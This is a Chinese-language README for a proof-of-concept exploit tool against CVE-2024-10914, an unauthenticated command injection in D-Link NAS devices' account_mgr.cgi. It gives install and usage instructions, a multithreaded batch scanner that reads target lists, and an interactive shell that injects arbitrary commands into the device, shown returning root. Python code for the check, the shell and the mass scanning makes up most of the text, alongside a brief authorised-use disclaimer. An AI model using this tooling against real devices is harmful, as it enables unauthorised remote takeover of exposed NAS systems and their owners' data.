CVE-2024-10914: D-Link 远程命令执行 (RCE) 漏洞利用工具
本项目是 CVE-2024-10914 的概念验证 (PoC) 利用脚本。该漏洞存在于多款 D-Link NAS 设备的 account_mgr.cgi 组件中,未经身份验证的远程攻击者通过特制请求,可在目标设备上执行任意系统命令。
⚠️ 免责声明: 此工具仅限用于授权环境的安全测试和教育目的。未经授权的使用可能违反法律法规。作者不对任何滥用行为负责。
功能特性
- ⚡ 单目标检测:快速验证单个 IP 地址是否存在漏洞。
- 🚀 多线程批量扫描:支持从文件导入目标列表,并配置线程数以加速漏洞探测。
- 💻 交互式 Shell:漏洞利用成功后,将获得一个基于 Web 的交互式命令终端,可连续执行系统命令。
- 📋 多命令验证:内置
id,uname -a,hostname等基础信息收集命令,用于确认漏洞有效性。 - 📦 依赖精简:仅使用
requests,alive_progress,prompt_toolkit,rich等常见库,环境搭建简单。
安装指南
系统要求
- Python 3.6 或更高版本
- 支持的操作系统:Windows / Linux / macOS
安装步骤
-
克隆代码仓库
git clone https://github.com/ThemeHackers/CVE-2024-10914.git cd CVE-2024-10914 -
安装依赖库 项目依赖项已整理在
requirements.txt中,使用 pip 一键安装:pip3 install -r requirements.txt主要依赖项说明:
requests:处理 HTTP 请求alive_progress:显示扫描进度条prompt_toolkit:构建交互式 Shell 界面rich:美化控制台输出
使用说明
命令行参数
python3 exploit.py [-h] [-u URL] [-f FILE] [-t THREADS] [-p PORT]
| 参数 | 类型 | 说明 |
|---|---|---|
-h, --help | - | 显示帮助信息并退出 |
-u URL, --url URL | 字符串 | 单个目标 IP 地址 (例如: 192.168.1.1) |
-f FILE, --file FILE | 字符串 | 包含多个目标 IP 的文件路径 (每行一个) |
-t THREADS, --threads THREADS | 整数 | 批量扫描时的线程数,默认为 5 |
-p PORT, --port PORT | 整数 | 目标 Web 服务端口,默认为 80 |
基础使用示例
1. 检测单个目标
python3 exploit.py -u 192.168.1.100 -p 80
执行后,脚本将自动检测漏洞,若存在漏洞则输出系统信息(如 id 命令结果),并进入交互式 Shell 模式。
2. 批量扫描目标
创建一个 targets.txt 文件,内容示例:
192.168.1.100
192.168.1.101
192.168.1.102
使用 10 个线程进行批量检测:
python3 exploit.py -f targets.txt -p 80 -t 10
扫描过程中会实时显示进度,发现漏洞的目标会自动展示系统信息。
交互式 Shell 使用
漏洞利用成功后,你将进入一个类似 $ 提示符的交互式环境:
[+] Target is vulnerable! Spawning interactive shell...
$ whoami
root
$ ls -la /home
total 8
drwxr-xr-x 2 root root 4096 Jan 1 2024 .
drwxr-xr-x 1 root root 4096 Jan 1 2024 ..
输入 exit 或 Ctrl+C 可退出交互式 Shell。
核心代码
漏洞检测与利用函数
def check_vulnerability(target, port):
"""检查目标是否存在漏洞,若存在则执行命令"""
for command in payload: # payload 列表包含 id, uname -a 等命令
url = f"http://{target}:{port}{endpoint.format(command)}"
try:
# 忽略 SSL 证书警告,设置超时防止卡死
response = requests.get(url, headers=headers, verify=False, timeout=10)
# 根据响应内容判断命令是否成功执行
if response.status_code == 200 and len(response.text) > 0:
console.print(f"[green][+][/green] {target}:{port} - Command '{command}' executed successfully")
# 提取并格式化命令输出
output = response.text.strip()
console.print(Panel(output, title=f"Command Output: {command}", border_style="green"))
return True # 只要有一个命令成功即认为存在漏洞
except Exception as e:
# 连接失败或超时等异常不中断,继续下一个命令
continue
return False
交互式 Shell 实现
def interactive_shell(target, port):
"""漏洞利用成功后,进入交互式命令执行模式"""
session = PromptSession(history=InMemoryHistory())
while True:
try:
# 使用 prompt_toolkit 提供更友好的命令行输入界面
cmd = session.prompt(HTML("<ansired><b>$ </b></ansired>"))
if cmd.lower() in ['exit', 'quit']:
break
if cmd.strip() == '':
continue
# 将用户输入的命令注入到漏洞端点
url = f"http://{target}:{port}{endpoint.format(cmd)}"
response = requests.get(url, headers=headers, verify=False, timeout=10)
if response.status_code == 200:
# 美化输出结果,去除可能的 HTTP 响应噪音
print(response.text.strip())
else:
console.print("[red][-][/red] Command execution failed or returned no output.")
except KeyboardInterrupt:
break # Ctrl+C 退出
except Exception as e:
console.print(f"[red][!][/red] Error: {e}")
break
多线程批量扫描
def scan_targets(file_path, port, threads):
"""从文件中读取目标列表,使用线程池进行批量扫描"""
with open(file_path, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
console.print(f"[*] Loaded {len(targets)} targets. Starting scan with {threads} threads...")
with ThreadPoolExecutor(max_workers=threads) as executor:
# 提交所有扫描任务
future_to_target = {executor.submit(check_vulnerability, target, port): target for target in targets}
# 使用 alive_progress 显示进度条
with alive_bar(len(targets), title="Scanning", bar="classic") as bar:
for future in as_completed(future_to_target):
target = future_to_target[future]
try:
future.result() # 获取任务结果
except Exception as exc:
console.print(f"[red][!][/red] {target} generated an exception: {exc}")
bar() # 更新进度条
6HFtX5dABrKlqXeO5PUv/4BLIXwkZvx6Xrw5pULffn0=